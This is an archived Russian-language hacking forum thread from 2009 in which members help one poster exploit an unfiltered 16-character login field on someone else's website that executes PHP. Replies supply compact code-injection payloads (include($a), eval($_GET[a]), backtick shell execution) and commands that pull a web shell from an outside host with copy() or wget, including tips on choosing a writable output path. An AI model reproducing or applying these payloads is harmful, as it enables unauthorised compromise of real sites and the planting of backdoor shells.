PDA

Просмотр полной версии : 16 символов :(


Mr.Hardwar
06.07.2009, 10:10
На одном ресе обнаружил такую штуку: когда входишь на сайт то на странице пишется "Привет ЛОГИН". так вот, при регистрации в поле логин никакой фильтрации нет и можно указывать любые символы. Облом лишь в том что обработчик формы не регает логины больше 16 символов! :mad:

Подскажите как можно использовать эту уязвимость. работает phpinfo() sleep(), а больше не хватает у меня ни фантазии ни символов

mailbrush
06.07.2009, 20:38
При register_globals=ON
include($a)
Потом в GET['a'] - путь к шеллу

Ctacok
07.07.2009, 21:27
При register_globals=ON
include($a)
Потом в GET['a'] - путь к шеллу
include($_GET['a'])
Вроде же.
Что то я непробывал просто так присваивать массиву из ниоткуда, что бы он брал из GET запроса.
Или я видимо ещё незнал об этом.
Если твой пример правильный, дико извеняюсь ;)

попугай
08.07.2009, 01:50
include($_GET['a'])
Вроде же.
Что то я непробывал просто так присваивать массиву из ниоткуда, что бы он брал из GET запроса.
Или я видимо ещё незнал об этом.
Если твой пример правильный, дико извеняюсь ;)


При register_globals=ON

какбе

PaCo
08.07.2009, 02:03
eval($_GET[a]); &a=copy('http://shellsite.com/shell.txt','shell.php'); ну в этом стиле.

Spyder
08.07.2009, 02:06
include($_GET['a']) - больше 16 какбе
регистер глобалс по дефолту включён какбе

PaCo
08.07.2009, 02:20
include($_GET['a']) - больше 16 какбе
регистер глобалс по дефолту включён какбе
включен на таких версиях старых что поискать надо:

Наверное, наиболее спорным моментом в разработке PHP стала замена значения по умолчанию для опции register_globals с ON на OFF в версии 4.2.0.

Spyder
08.07.2009, 02:27
чёта у меня в на локалхосте по дефолту он был, пшп 5

Fata1ex
08.07.2009, 02:38
По дефолту уже давно офф, а в шестой версии вроде и вовсе отключат.

PaCo
08.07.2009, 02:42
чёта у меня в на локалхосте по дефолту он был, пшп 5
МБ сам включил и подзабыл(бывает такое дистр сохранил и прям в нем поизменял) ну или в денвер/xamp/прочая нежить был поставлен в on а так с 4.2.0 в офф он по дефолту.

Mr.Hardwar
08.07.2009, 21:19
<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало :(

Ctacok
09.07.2009, 07:23
<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало :(
http://mysite.ru/file.txt
По твоему запросу он инклюдит папку mysite.ru/file.txt а не удалённый сервер ;)

Mr.Hardwar
09.07.2009, 09:58
c http результат тот же(
&a=http://mysite.ru/primer.php -выводится страница c Hacking attempt!

&a=http://mysite.ru/primer.txt -страница грузится но ничо не инклудится..пишется "Привет, !"

Ctacok
09.07.2009, 19:41
Инклюдить он заинклюдить
Ну вот может бред.
в .htacces
AddType application/x-httpd-php .txt
На своём серваке.

BlackSun
09.07.2009, 19:55
8 байт <? `$a`;
14 байт <? `$_GET[a]`;

Ch3ck
09.07.2009, 22:02
8 байт <? `$a`;
14 байт <? `$_GET[a]`;
Я тоже вчера пробовал... а дальше чего? ;)

BlackSun
09.07.2009, 22:11
Я тоже вчера пробовал... а дальше чего? ;)
Что значит "а дальше чего"? Дальше сливаем wget'ом и ему подобными шелл, наслаждаемся.

?a=wget+http://google.com/shell.txt если уж совсем не понятно.

.::BARS::.
20.07.2009, 06:18
хм.... а ничего если упапки нет прав на запись???? =))))

BlackSun
20.07.2009, 07:13
А тебя совершенно не волнует тот факт, что папок все же больше одной? --output-document=